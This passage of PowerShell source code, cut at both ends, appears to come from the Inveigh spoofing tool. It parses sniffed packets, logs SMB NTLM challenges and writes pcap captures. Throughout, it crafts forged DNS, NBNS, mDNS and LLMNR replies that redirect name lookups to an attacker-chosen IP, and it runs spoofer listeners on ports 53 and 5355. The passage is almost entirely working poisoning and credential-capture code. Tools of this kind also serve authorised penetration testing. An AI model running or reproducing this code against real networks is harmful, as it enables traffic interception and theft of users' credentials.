-format s)] SMB(445) NTLM challenge $NTLM_challenge sent to $destination_IP`:$destination_port") > $null 4424 } 4425 else 4426 { 4427 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB(445) NTLM challenge $NTLM_challenge received from $destination_IP`:$destination_port") > $null 4428 } 4429 4430 $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge 4431 $NTLM_challenge = $null 4432 } 4433 4434 4435 } 4436 4437 } 4438 4439 if($Pcap -and ($PcapTCP -contains $source_port -or $PcapTCP -contains $destination_port -or $PcapTCP -contains 'All')) 4440 { 4441 4442 if($payload_bytes) 4443 { 4444 $pcap_epoch_time = ([datetime]::UtcNow)-(Get-Date "1/1/1970") 4445 $pcap_length = [System.BitConverter]::GetBytes($packet_length + 14) 4446 4447 $pcap_packet = [System.BitConverter]::GetBytes([Int][Math]::Truncate($pcap_epoch_time.TotalSeconds)) + 4448 [System.BitConverter]::GetBytes($pcap_epoch_time.Milliseconds) + # should be microseconds but probably doesn't matter 4449 $pcap_length + 4450 $pcap_length + 4451 (,0x00 * 12) + 4452 0x08,0x00 + 4453 $byte_data[0..($packet_length - 1)] 4454 4455 if($pcap_packet.Count -eq ($packet_length + 30)) 4456 { 4457 4458 switch ($Pcap) 4459 { 4460 4461 'File' 4462 { 4463 4464 try 4465 { 4466 $pcap_file.Write($pcap_packet,0,$pcap_packet.Count) 4467 } 4468 catch 4469 { 4470 $error_message = $_.Exception.Message 4471 $error_message = $error_message -replace "`n","" 4472 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 4473 } 4474 4475 } 4476 4477 'Memory' 4478 { 4479 $inveigh.pcap.AddRange($pcap_packet) 4480 } 4481 4482 } 4483 4484 } 4485 4486 } 4487 4488 } 4489 4490 } 4491 4492 17 4493 { # UDP 4494 $source_port = $binary_reader.ReadBytes(2) 4495 $endpoint_source_port = Convert-DataToUInt16 ($source_port) 4496 $destination_port = Convert-DataToUInt16 $binary_reader.ReadBytes(2) 4497 $UDP_length = $binary_reader.ReadBytes(2) 4498 $UDP_length_uint = Convert-DataToUInt16 ($UDP_length) 4499 $binary_reader.ReadBytes(2) > $null 4500 $payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4) 4501 4502 # Incoming packets 4503 switch($destination_port) 4504 { 4505 4506 53 # DNS 4507 { 4508 $DNS_query_string = Get-NameQueryString 12 $payload_bytes 4509 $DNS_response_data = $payload_bytes[12..($DNS_query_string.Length + 13)] 4510 [Byte[]]$UDP_length = ([System.BitConverter]::GetBytes($DNS_response_data.Count + $DNS_response_data.Count + $SpooferIP.Length + 23))[1,0] 4511 $DNS_response_type = "[+]" 4512 4513 $DNS_response_data += 0x00,0x01,0x00,0x01 + 4514 $DNS_response_data + 4515 0x00,0x01,0x00,0x01 + 4516 $DNS_TTL_bytes + 4517 0x00,0x04 + 4518 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 4519 4520 $DNS_response_packet = 0x00,0x35 + 4521 $source_port[1,0] + 4522 $UDP_length + 4523 0x00,0x00 + 4524 $payload_bytes[0,1] + 4525 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + 4526 $DNS_response_data 4527 4528 4529 $DNS_response_message = Get-SpooferResponseMessage -QueryString $DNS_query_string -Type "DNS" -Enabled $DNS 4530 $DNS_response_type = $DNS_response_message[0] 4531 $DNS_response_message = $DNS_response_message[1] 4532 4533 if($DNS_response_message -eq '[response sent]') 4534 { 4535 $DNS_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) 4536 $DNS_send_socket.SendBufferSize = 1024 4537 $DNS_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) 4538 $DNS_send_socket.SendTo($DNS_response_packet,$DNS_destination_point) > $null 4539 $DNS_send_socket.Close() 4540 } 4541 4542 if($destination_IP -eq $IP) 4543 { 4544 $inveigh.output_queue.Add("$DNS_response_type [$(Get-Date -format s)] DNS request for $DNS_query_string received from $source_IP $DNS_response_message") > $null 4545 } 4546 else 4547 { 4548 $inveigh.output_queue.Add("$DNS_response_type [$(Get-Date -format s)] DNS request for $DNS_query_string sent to $destination_IP [outgoing query]") > $null 4549 } 4550 4551 } 4552 4553 137 # NBNS 4554 { 4555 4556 if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01') 4557 { 4558 4559 if([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') 4560 { 4561 $UDP_length[0] += 12 4562 $NBNS_response_type = "[+]" 4563 4564 $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + 4565 $NBNS_TTL_bytes + 4566 0x00,0x06,0x00,0x00 + 4567 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 4568 4569 $NBNS_response_packet = 0x00,0x89 + 4570 $source_port[1,0] + 4571 $UDP_length[1,0] + 4572 0x00,0x00 + 4573 $payload_bytes[0,1] + 4574 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + 4575 $NBNS_response_data 4576 4577 $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) 4578 $NBNS_query_type = Get-NBNSQueryType $NBNS_query_type 4579 $NBNS_type = $payload_bytes[47] 4580 $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) 4581 $NBNS_query = $NBNS_query -replace "-00","" 4582 $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 4583 $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) 4584 $NBNS_query_string_encoded_check = $NBNS_query_string_encoded 4585 $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) 4586 $NBNS_query_string_subtracted = $null 4587 $NBNS_query_string = $null 4588 $n = 0 4589 4590 do 4591 { 4592 $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) 4593 $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) 4594 $n++ 4595 } 4596 until($n -ge ($NBNS_query_string_encoded.Length)) 4597 4598 $n = 0 4599 4600 do 4601 { 4602 $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) 4603 $n += 2 4604 } 4605 until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15) 4606 4607 if($NBNS_query_string_encoded_check.StartsWith("ABAC") -and $NBNS_query_string_encoded_check.EndsWith("ACAB")) 4608 { 4609 $NBNS_query_string = $NBNS_query_string.Substring(2) 4610 $NBNS_query_string = $NBNS_query_string.Substring(0, $NBNS_query_string.Length - 1) 4611 $NBNS_query_string = "<01><02>" + $NBNS_query_string + "<02>" 4612 } 4613 4614 if($NBNS_query_string -notmatch '[^\x00-\x7F]+') 4615 { 4616 4617 if(!$inveigh.request_table.ContainsKey($NBNS_query_string)) 4618 { 4619 $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString) 4620 $inveigh.request_table_updated = $true 4621 } 4622 else 4623 { 4624 $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString 4625 $inveigh.request_table_updated = $true 4626 } 4627 4628 } 4629 4630 $NBNS_request_ignore = $false 4631 } 4632 4633 if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $NBNS_query_string -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -and $source_IP -ne $IP) 4634 { 4635 4636 if(($NBNS_learning_log.Exists({param($s) $s -like "20* $NBNS_query_string"}))) 4637 { 4638 $NBNS_learning_queue_time = [DateTime]$NBNS_learning_log.Find({param($s) $s -like "20* $NBNS_query_string"}).SubString(0,19) 4639 4640 if((Get-Date) -ge $NBNS_learning_queue_time.AddMinutes($SpooferLearningInterval)) 4641 { 4642 $NBNS_learning_log.RemoveAt($NBNS_learning_log.FindIndex({param($s) $s -like "20* $NBNS_query_string"})) 4643 $NBNS_learning_send = $true 4644 } 4645 else 4646 { 4647 $NBNS_learning_send = $false 4648 } 4649 4650 } 4651 else 4652 { 4653 $NBNS_learning_send = $true 4654 } 4655 4656 if($NBNS_learning_send) 4657 { 4658 $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) 4659 $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 4660 $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-" 4661 $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 4662 $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] 4663 4664 $NBNS_request_packet = $NBNS_transaction_ID_bytes + 4665 0x01,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20 + 4666 $NBNS_hostname_bytes + 4667 0x00,0x20,0x00,0x01 4668 4669 $NBNS_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]::broadcast,137) 4670 $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint) 4671 $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length) 4672 $NBNS_UDP_client.Close() 4673 $NBNS_learning_log.Add("$(Get-Date -format s) $NBNS_transaction_ID $NBNS_query_string") > $null 4674 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS request $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) > $null 4675 } 4676 4677 } 4678 4679 $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS" -Enabled $NBNS -NBNSType $NBNS_type 4680 $NBNS_response_type = $NBNS_response_message[0] 4681 $NBNS_response_message = $NBNS_response_message[1] 4682 4683 if($NBNS_response_message -eq '[response sent]') 4684 { 4685 4686 if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) 4687 { 4688 $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) 4689 $NBNS_send_socket.SendBufferSize = 1024 4690 $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) 4691 $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) > $null 4692 $NBNS_send_socket.Close() 4693 } 4694 else 4695 { 4696 $NBNS_request_ignore = $true 4697 } 4698 4699 } 4700 else 4701 { 4702 4703 if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) 4704 { 4705 $NBNS_request_ignore = $true 4706 } 4707 4708 } 4709 4710 if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') 4711 { 4712 $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null 4713 } 4714 elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) 4715 { 4716 [Byte[]]$NBNS_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] 4717 $NBNS_response_IP = [System.Net.IPAddress]$NBNS_response_IP_bytes 4718 $NBNS_response_IP = $NBNS_response_IP.IPAddressToString 4719 4720 if($inveigh.valid_host_list -notcontains $NBNS_query_string) 4721 { 4722 $inveigh.valid_host_list.Add($NBNS_query_string) > $null 4723 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP [added to valid host list]") > $null 4724 } 4725 4726 } 4727 4728 } 4729 4730 } 4731 4732 5353 # mDNS 4733 { 4734 4735 if(([System.BitConverter]::ToString($payload_bytes)).EndsWith("-00-01-80-01") -and [System.BitConverter]::ToString($payload_bytes[4..11]) -eq "00-01-00-00-00-00-00-00") 4736 { 4737 $UDP_length[0] += 10 4738 $mDNS_query_string_full = Get-NameQueryString 12 $payload_bytes 4739 $mDNS_query_payload_bytes = $payload_bytes[12..($mDNS_query_string_full.Length + 13)] 4740 $mDNS_query_string = ($mDNS_query_string_full.Split("."))[0] 4741 $UDP_length[0] = $mDNS_query_payload_bytes.Count + $SpooferIP.Length + 23 4742 $mDNS_response_type = "[+]" 4743 4744 $mDNS_response_data = $mDNS_query_payload_bytes + 4745 0x00,0x01,0x00,0x01 + 4746 $mDNS_TTL_bytes + 4747 0x00,0x04 + 4748 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 4749 4750 $mDNS_response_packet = 0x14,0xe9 + 4751 $source_port[1,0] + 4752 $UDP_length[1,0] + 4753 0x00,0x00 + 4754 $payload_bytes[0,1] + 4755 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + 4756 $mDNS_response_data 4757 4758 4759 $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU" -Enabled $mDNS 4760 $mDNS_response_type = $mDNS_response_message[0] 4761 $mDNS_response_message = $mDNS_response_message[1] 4762 4763 if($mDNS_response_message -eq '[response sent]') 4764 { 4765 $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) 4766 $send_socket.SendBufferSize = 1024 4767 $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) 4768 $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null 4769 $send_socket.Close() 4770 } 4771 4772 $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null 4773 } 4774 elseif(([System.BitConverter]::ToString($payload_bytes)).EndsWith("-00-01") -and ([System.BitConverter]::ToString( 4775 $payload_bytes[4..11]) -eq "00-01-00-00-00-00-00-00" -or [System.BitConverter]::ToString($payload_bytes[4..11]) -eq "00-02-00-00-00-00-00-00")) 4776 { 4777 $mDNS_query_string_full = Get-NameQueryString 12 $payload_bytes 4778 $mDNS_query_payload_bytes = $payload_bytes[12..($mDNS_query_string_full.Length + 13)] 4779 $mDNS_query_string = ($mDNS_query_string_full.Split("."))[0] 4780 $UDP_length[0] = $mDNS_query_payload_bytes.Count + $SpooferIP.Length + 23 4781 $mDNS_response_type = "[+]" 4782 4783 $mDNS_response_data = $mDNS_query_payload_bytes + 4784 0x00,0x01,0x80,0x01 + 4785 $mDNS_TTL_bytes + 4786 0x00,0x04 + 4787 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 4788 4789 4790 $mDNS_response_packet = 0x14,0xe9 + 4791 $source_port[1,0] + 4792 $UDP_length[1,0] + 4793 0x00,0x00 + 4794 $payload_bytes[0,1] + 4795 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + 4796 $mDNS_response_data 4797 4798 $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM" -Enabled $mDNS 4799 $mDNS_response_type = $mDNS_response_message[0] 4800 $mDNS_response_message = $mDNS_response_message[1] 4801 4802 if($mDNS_response_message -eq '[response sent]') 4803 { 4804 $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) 4805 $send_socket.SendBufferSize = 1024 4806 $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353) 4807 $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null 4808 $send_socket.Close() 4809 } 4810 4811 $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null 4812 } 4813 4814 } 4815 4816 5355 # LLMNR 4817 { 4818 4819 if([System.BitConverter]::ToString($payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length - 3)]) -ne '00-1c') # ignore AAAA for now 4820 { 4821 $UDP_length[0] += $payload_bytes.Length - 2 4822 $LLMNR_response_data = $payload_bytes[12..$payload_bytes.Length] 4823 $LLMNR_response_type = "[+]" 4824 4825 $LLMNR_response_data += $LLMNR_response_data + 4826 $LLMNR_TTL_bytes + 4827 0x00,0x04 + 4828 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 4829 4830 $LLMNR_response_packet = 0x14,0xeb + 4831 $source_port[1,0] + 4832 $UDP_length[1,0] + 4833 0x00,0x00 + 4834 $payload_bytes[0,1] + 4835 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + 4836 $LLMNR_response_data 4837 4838 $LLMNR_query_string = [System.Text.Encoding]::UTF8.GetString($payload_bytes[13..($payload_bytes.Length - 4)]) -replace "`0","" 4839 4840 if(!$inveigh.request_table.ContainsKey($LLMNR_query_string)) 4841 { 4842 $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString) 4843 $inveigh.request_table_updated = $true 4844 } 4845 else 4846 { 4847 $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString 4848 $inveigh.request_table_updated = $true 4849 } 4850 4851 $LLMNR_request_ignore = $false 4852 4853 if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $LLMNR_query_string -and $source_IP -ne $IP) 4854 { 4855 4856 if(($LLMNR_learning_log.Exists({param($s) $s -like "20* $LLMNR_query_string"}))) 4857 { 4858 $LLMNR_learning_queue_time = [DateTime]$LLMNR_learning_log.Find({param($s) $s -like "20* $LLMNR_query_string"}).SubString(0,19) 4859 4860 if((Get-Date) -ge $LLMNR_learning_queue_time.AddMinutes($SpooferLearningInterval)) 4861 { 4862 $LLMNR_learning_log.RemoveAt($LLMNR_learning_log.FindIndex({param($s) $s -like "20* $LLMNR_query_string"})) 4863 $LLMNR_learning_send = $true 4864 } 4865 else 4866 { 4867 $LLMNR_learning_send = $false 4868 } 4869 4870 } 4871 else 4872 { 4873 $LLMNR_learning_send = $true 4874 } 4875 4876 if($LLMNR_learning_send) 4877 { 4878 $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) 4879 $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 4880 $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-" 4881 $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 4882 $LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] 4883 4884 $LLMNR_request_packet = $LLMNR_transaction_ID_bytes + 4885 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00 + 4886 ($LLMNR_hostname_bytes.Length - 1) + 4887 $LLMNR_hostname_bytes + 4888 0x00,0x01,0x00,0x01 4889 4890 $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355) 4891 $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) 4892 $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) 4893 $LLMNR_UDP_client.Close() 4894 $LLMNR_learning_log.Add("$(Get-Date -format s) $LLMNR_transaction_ID $LLMNR_query_string") > $null 4895 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] LLMNR request $LLMNR_query_string sent to 224.0.0.252") > $null 4896 } 4897 4898 } 4899 4900 $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR" -Enabled $LLMNR 4901 $LLMNR_response_type = $LLMNR_response_message[0] 4902 $LLMNR_response_message = $LLMNR_response_message[1] 4903 4904 if($LLMNR_response_message -eq '[response sent]') 4905 { 4906 4907 if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) 4908 { 4909 $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) 4910 $LLMNR_send_socket.SendBufferSize = 1024 4911 $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) 4912 $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) > $null 4913 $LLMNR_send_socket.Close() 4914 } 4915 else 4916 { 4917 $LLMNR_request_ignore = $true 4918 } 4919 4920 } 4921 4922 if(!$LLMNR_request_ignore) 4923 { 4924 $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null 4925 } 4926 4927 } 4928 4929 } 4930 4931 } 4932 4933 switch($endpoint_source_port) 4934 { 4935 4936 5355 # LLMNR Response 4937 { 4938 4939 if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) 4940 { 4941 $LLMNR_query_string = [System.Text.Encoding]::UTF8.GetString($payload_bytes[13..($payload_bytes.Length - 4)]) -replace "`0","" 4942 [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] 4943 $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes 4944 $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString 4945 4946 if($inveigh.valid_host_list -notcontains $LLMNR_query_string) 4947 { 4948 $inveigh.valid_host_list.Add($LLMNR_query_string) > $null 4949 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $LLMNR_query_string LLMNR response $LLMNR_response_IP received from $source_IP [added to valid host list]") > $null 4950 } 4951 4952 } 4953 4954 } 4955 4956 } 4957 4958 if($Pcap -and ($PcapUDP -contains $endpoint_source_port -or $PcapUDP -contains $destination_port -or $PcapUDP -contains 'All')) 4959 { 4960 4961 if($payload_bytes) 4962 { 4963 $pcap_epoch_time = ([datetime]::UtcNow)-(Get-Date "1/1/1970") 4964 $pcap_length = [System.BitConverter]::GetBytes($packet_length + 14) 4965 4966 $pcap_packet = [System.BitConverter]::GetBytes([Int][Math]::Truncate($pcap_epoch_time.TotalSeconds)) + 4967 [System.BitConverter]::GetBytes($pcap_epoch_time.Milliseconds) + # should be microseconds but probably doesn't matter 4968 $pcap_length + 4969 $pcap_length + 4970 (,0x00 * 12) + 4971 0x08,0x00 + 4972 $byte_data[0..($packet_length - 1)] 4973 4974 switch ($Pcap) 4975 { 4976 4977 'File' 4978 { 4979 4980 try 4981 { 4982 $pcap_file.Write($pcap_packet,0,$pcap_packet.Count) 4983 } 4984 catch 4985 { 4986 $error_message = $_.Exception.Message 4987 $error_message = $error_message -replace "`n","" 4988 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 4989 } 4990 4991 } 4992 4993 'Memory' 4994 { 4995 $inveigh.pcap.AddRange($pcap_packet) 4996 } 4997 4998 } 4999 5000 } 5001 5002 } 5003 5004 } 5005 5006 } 5007 5008 } 5009 5010 $binary_reader.Close() 5011 $memory_stream.Dispose() 5012 $memory_stream.Close() 5013 $pcap_file.Close() 5014 } 5015 5016 # Unprivileged DNS Spoofer ScriptBlock 5017 $DNS_spoofer_scriptblock = 5018 { 5019 param ($Inspect,$DNSTTL,$SpooferIP) 5020 5021 $DNS_running = $true 5022 $DNS_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,53) 5023 5024 try 5025 { 5026 $DNS_UDP_client = New-Object System.Net.Sockets.UdpClient 53 5027 } 5028 catch 5029 { 5030 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting DNS spoofer") > $null 5031 $error_message = $_.Exception.Message 5032 $error_message = $error_message -replace "`n","" 5033 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 5034 $DNS_running = $false 5035 } 5036 5037 $DNS_UDP_client.Client.ReceiveTimeout = 5000 5038 $DNS_TTL_bytes = [System.BitConverter]::GetBytes($DNSTTL) 5039 [Array]::Reverse($DNS_TTL_bytes) 5040 5041 while($inveigh.running -and $DNS_running) 5042 { 5043 5044 try 5045 { 5046 $DNS_request_data = $DNS_UDP_client.Receive([Ref]$DNS_listener_endpoint) 5047 } 5048 catch 5049 { 5050 $DNS_UDP_client.Close() 5051 $DNS_UDP_client = New-Object System.Net.Sockets.UdpClient 53 5052 $DNS_UDP_client.Client.ReceiveTimeout = 5000 5053 } 5054 5055 if($DNS_request_data -and [System.BitConverter]::ToString($DNS_request_data[10..11]) -ne '00-01') 5056 { 5057 $DNS_query_string = Get-NameQueryString 12 $DNS_request_data 5058 $DNS_response_data = $DNS_request_data[12..($DNS_query_string.Length + 13)] 5059 $DNS_response_type = "[+]" 5060 5061 $DNS_response_packet = $DNS_request_data[0,1] + 5062 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + 5063 $DNS_response_data + 5064 0x00,0x01,0x00,0x01 + 5065 $DNS_response_data + 5066 0x00,0x01,0x00,0x01 + 5067 $DNS_TTL_bytes + 5068 0x00,0x04 + 5069 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() 5070 5071 $source_IP = $DNS_listener_endpoint.Address 5072 $DNS_response_message = Get-SpooferResponseMessage -QueryString $DNS_query_string -Type "DNS" -Enabled $DNS 5073 $DNS_response_type = $DNS_response_message[0] 5074 $DNS_response_message = $DNS_response_message[1] 5075 5076 if($DNS_response_message -eq '[response sent]') 5077 { 5078 $DNS_destination_endpoint = New-Object System.Net.IPEndpoint($DNS_listener_endpoint.Address,$DNS_listener_endpoint.Port) 5079 $DNS_UDP_client.Connect($DNS_destination_endpoint) 5080 $DNS_UDP_client.Send($DNS_response_packet,$DNS_response_packet.Length) 5081 $DNS_UDP_client.Close() 5082 $DNS_UDP_client = New-Object System.Net.Sockets.UdpClient 53 5083 $DNS_UDP_client.Client.ReceiveTimeout = 5000 5084 } 5085 5086 $inveigh.output_queue.Add("$DNS_response_type [$(Get-Date -format s)] DNS request for $DNS_query_string received from $source_IP $DNS_response_message") > $null 5087 $DNS_request_data = $null 5088 } 5089 5090 } 5091 5092 $DNS_UDP_client.Close() 5093 } 5094 5095 # Unprivileged LLMNR Spoofer ScriptBlock 5096 $LLMNR_spoofer_scriptblock = 5097 { 5098 param ($Inspect,$LLMNRTTL,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$SpooferNonprintable) 5099 5100 $LLMNR_running = $true 5101 $LLMNR_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Any,5355) 5102 5103 try 5104 { 5105 $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5106 $LLMNR_UDP_client.ExclusiveAddressUse = $false 5107 $LLMNR_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true) 5108 $LLMNR_UDP_client.Client.Bind($LLMNR_listener_endpoint) 5109 } 5110 catch 5111 { 5112 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting LLMNR spoofer") > $null 5113 $error_message = $_.Exception.Message 5114 $error_message = $error_message -replace "`n","" 5115 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 5116 $LLMNR_running = $false 5117 } 5118 5119 $LLMNR_multicast_group = [IPAddress]"224.0.0.252" 5120 $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) 5121 $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 5122 $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) 5123 [Array]::Reverse($LLMNR_TTL_bytes) 5124 5125 while($inveigh.running -and $LLMNR_running) 5126 { 5127 5128 try 5129 { 5130 $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) 5131 } 5132 catch 5133 { 5134 $LLMNR_UDP_client.Close() 5135 $LLMNR_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Any,5355) 5136 $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5137 $LLMNR_UDP_client.ExclusiveAddressUse = $false 5138 $LLMNR_UDP_client.Client.SetSocketOption("Socket", "ReuseAddress", $true) 5139 $LLMNR_UDP_client.Client.Bind($LLMNR_listener_endpoint) 5140 $LLMNR_multicast_group = [IPAddress]"224.0.0.252" 5141 $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) 5142 